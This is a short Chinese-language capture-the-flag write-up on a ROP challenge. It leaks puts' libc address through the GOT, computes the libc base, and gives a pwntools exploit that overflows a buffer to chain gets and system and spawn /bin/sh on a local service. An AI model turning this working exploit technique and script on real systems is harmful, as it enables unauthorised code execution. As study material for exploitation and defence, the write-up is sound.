pwn-ROP(2)

时间:2023-03-08 20:51:13

通过int80系统只对静态编译有效,动态编译需要用其他方法

pwn-ROP(2)

本题提供了一个地址输入端,输入函数地址会返回该函数的实际地址,我们用得到的实际地址-偏移地址=基地址,然后用基地址+任意函数的偏移地址就可以得到实际地址,就可以调用gets、system等函数,利用溢出点传入shell。

首先,用objdump看一下用到的puts函数的跳转地址

pwn-ROP(2)

exp中先传入0x804a01c,会得到一个实际地址,把这个地址先保存起来,再用命令找到puts的偏移地址

pwn-ROP(2)

得到偏移地址0x0064da0,用得到的实际地址-偏移地址,这样就得到了基地址。同样可以得到gets、system的偏移地址,加上基地址,得到实际地址,程序之后会有一个输入点,用溢出即可传入shell

exp:

 from pwn import *

 r = remote('127.0.0.1',4000)

 puts_got_plt = 0x804a01c
puts_off = 0x0064da0 r.recvuntil(':')
r.sendline(str(puts_got_plt))
r.recvuntil(':')
libc_base = int(r.recvuntil('\n').strip(),16) - puts_off
print 'Libc base addr :' + hex(libc_base) #得到基地址 gets_off = 0x0064440
system_off = 0x003fe70 buf = 0x0804a048 - 50 gets = libc_base +gets_off
system = libc_base +system_off rop=[
gets,
system,
buf,
buf ] r.recvuntil(':')
r.sendline('a'*60+flat(rop)) #溢出点
sleep(2)
r.sendline('/bin/sh\x00') #传入shell r.interactive()

pwn-ROP(2)